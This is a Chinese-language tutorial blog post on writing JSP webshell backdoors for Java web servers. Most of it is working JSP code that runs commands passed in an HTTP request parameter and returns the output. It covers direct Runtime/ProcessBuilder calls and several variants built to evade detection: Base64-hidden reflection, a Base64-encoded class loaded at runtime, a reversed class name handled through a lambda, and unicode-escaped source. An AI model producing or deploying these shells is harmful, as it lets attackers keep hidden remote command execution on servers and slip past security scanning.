JavaWeb后门(webshell)基础

0x00 基础

JSP

JSP全称为JavaServer Pages,是一种用于开发支持动态内容的Web页面的技术。它有助于开发人员通过使用特殊的JSP标记在HTML页面中插入Java代码,其中大多数以<%开头,以%>结尾。Java是一种通用的计算机编程语言,它是并发的,基于类的,面向对象的,并且专门设计为具有尽可能少的实现依赖性。而JSP是一种技术,可帮助软件开发人员基于HTML,XML或其他文档类型创建动态生成的Web页面。

image-20231225163806708

JSPX

jspx其实就是xml格式的jsp文件

jsp的后缀可以兼容为jspx的代码,也兼容jspx的所有特性,如CDATA特性。
jspx的后缀不兼容为jsp的代码,jspx只能用jspx的格式

Java Web 后门

Java Web 是很多大型厂商的选择,也正是因为如此,Java Web 的安全问题日益得到重视,JSP Webshell 就是其中之一。最著名的莫过于 PHP 的各种奇思妙想的后门,但与 PHP 不同的是,Java 是强类型语言,语言特性较为严格,不能够像 PHP 那 样利用字符串组合当作系统函数使用,但即便如此,随着安全人员的进一步研究, 依旧出现了很多奇思妙想的 JSP Webshell。下面我们将通过几种不同的 JSP Webshell 来简单讲解 Java Web 后门

0x01 函数调用

与 PHP 中的命令执行函数 system() 和 eval() 类似,Java 中也存在命令执行函 数,其中使用最频繁的是 java.lang.Runtime.exec() 和 java.lang.ProcessBuilder.start(), 通过调用这两个函数,可以编写简单的 Java Web 后门。

直接调用

无回显:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

有回显:

java.lang.Runtime.exec()

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>

<%

// 获取Runtime对象
Runtime runtime = Runtime.getRuntime();

// 执行系统命令
Process process = runtime.exec("whoami");
//Process process = runtime.exec(request.getParameter("cmd"));

// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
}

%>

java.lang.ProcessBuilder.start()

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>

<%
    try {
        // 创建一个ProcessBuilder对象,并设置要执行的命令
        ProcessBuilder processBuilder = new ProcessBuilder("whoami");
        //ProcessBuilder processBuilder = new ProcessBuilder("whoami","/priv");

        // 启动进程
        Process process = processBuilder.start();

        // 获取进程的输入流,并将其转换为BufferedReader
        InputStream inputStream = process.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

        // 读取命令的输出
        String line;
        while ((line = reader.readLine()) != null) {
            out.println(line + "<br>");
        }

        // 等待命令执行完成
        int exitCode = process.waitFor();
        //out.println("命令执行完成,退出码:" + exitCode);
    } catch (IOException | InterruptedException e) {
        e.printStackTrace();
    }
%>

反射调用

不直接使用类名调用方法的方式去构造后门, 而是采用动态加载的方式,把所要调用的类与函数放到一个字符串的位置,然后利用各种变形(此处利用的是 Base64 编码)来达到对恶意类或函数隐藏的目的:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%

String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));

Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));

Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);

Object object = method.invoke(runtimeMethod.invoke(null),cmd);

// 执行系统命令
Process process = (Process) object;

// 获取进程的输入流,并将其转换为BufferedReader
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));

// 读取命令的输出
String line;
while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
}
%>
字节码

由于反射可以直接调用各种私有类方法,导致了利用反射编写的后门层出不穷,其中最有代表性的就是通过加载字节码编写的后门,这种后门使服务端动态地将字节码解析成 Class,这样一来就可以达到“一句话木马”的效果

javac字节码生成:

这种方式简单的说就是用ideal将java文件编程成class文件,然后将class读取出来用base64编码即可,这种方式比较方便简单,不需要会使用ASM,javassist等字节码框架。

shell.java:

package com.demo;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Shell {

    public static String runs(String cmd) throws IOException {
        Process process = Runtime.getRuntime().exec(cmd);
        InputStream is = process.getInputStream();
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
        String r = "";
        String s = "";
        while((r = bufferedReader.readLine())!=null){
            s += r;
        }
        return s;
    }

}

shell.class --> base64编码

package com.demo;

import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        FileChannel fileChannel = null;
        FileInputStream in = null;

        in = new FileInputStream("C:\\java\\com\\demo\\Shell.class");
        fileChannel = in.getChannel();
        ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());

        while (fileChannel.read(buffer) > 0) {
        }

        System.out.println(new String(Base64.getEncoder().encode(buffer.array())));

    }
}

自定义classloader:

<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
  Method defineClass =
          ClassLoader.class.getDeclaredMethod("defineClass", String.class,
                  byte[].class, int.class, int.class);
  defineClass.setAccessible(true);

  byte[] bytes =  Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA+BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/+AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA+AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");

  Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
  Object object =  shell.newInstance();
  Method dm = shell.getDeclaredMethod("runs",String.class);
  Object invoke = dm.invoke(object, "calc");
%>

更多加载字节码的方式参考:

https://tttang.com/archive/1739/

0x02 JDK特性

JDK 全称为 Java Development Kit,是 Java 开发环境。我们通常所说的 JDK 指 的是 Java SE (Standard Edition) Development Kit。除此之外还有 Java EE(Enterprise Edition)和 Java ME(Micro Edition)。从 JDK 诞生至今,每个版本都有不同的特性, 利用这些特性可以编写出不同类型的 Java Web 后门。

这里展示利用 Lambda 表达式编写的 JSP 一句话木马。

Lambda表达式是Java 8引入的一种函数式编程特性。它提供了一种更简洁、更灵活的方式来编写匿名函数。

Lambda 允许把函数作为一个方法的参数(函数作为参数传递进方法中)。利用这个特性我们可以操作类名,从而达到躲避检测的目的。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.function.Function" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="java.util.stream.Collectors" %>
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Collections" %>
<%@ page import="java.util.ArrayList" %>

<html>
<head>
 <title>Title</title>
</head>
<body>
<%
 // 定义一个字符串数组,其中包含一个元素 "redliuBssecorP.gnal.avaj"
 String[] planets = new String[] { "redliuBssecorP.gnal.avaj" };
 
 // 使用Java 8的流式编程方式将字符串数组中的元素进行反转
 Arrays.asList(planets).replaceAll(s -> new StringBuilder(s).reverse().toString());
 
 // 将字符串数组转换为字符串,并去除其中的方括号 '[' 和 ']'
 String name = Arrays.toString(planets).replace("[","").replace("]","");
 
 // 定义两个字符串变量,一个是 "start",另一个是通过请求参数获取到的 "pw" 值
 String st = "start";
 String pw = request.getParameter("pw");
 
 // 使用反射获取 Class 对象,该对象对应于指定的类名(name变量)
 Class cls = Class.forName(name);
 
 // 使用反射创建一个对象,调用该类的构造方法,并传入一个 List 对象作为参数
 Object obj = cls.getConstructor(List.class).newInstance(Arrays.asList(pw));
 
 // 使用反射获取指定方法名(st变量)对应的 Method 对象
 Method startCmd = cls.getMethod(st);
 
 // 使用反射调用方法,传入创建的对象作为调用者,并获取返回的结果
 Process process = (Process)startCmd.invoke(obj);
 
 // 获取进程的输入流,并将其转换为BufferedReader
 InputStream inputStream = process.getInputStream();
 BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
 
 // 在页面上打印输出结果的起始标签
 out.print("<pre>");
 
 // 逐行读取命令的输出,并将每一行输出到页面上
 String line;
 while ((line = reader.readLine()) != null) {
    out.println(line + "<br>");
 }
 
 // 在页面上打印输出结果的结束标签
 out.print("</pre>");
%>

运行环境需要java 8 + tomcat9 以上的版本

0x03 编码

jsp支持unicode编码

将代码(除page以及标签)进行unicode编码,并添加到<%%>标签中,即可执行webshell

在线unicode编码转换:
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/

注意用此在线unicode编码后内容会存在 /ua ,需要手动删除,负责无法正常运行

image-20231225190424901

注意这里的\uuuu00可以换成\uuuu00uuu…可以跟多个u达到绕过的效果

<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>

<%
  \uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>

学习更多

java免杀合集:

https://tttang.com/archive/1739/

  • 17
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值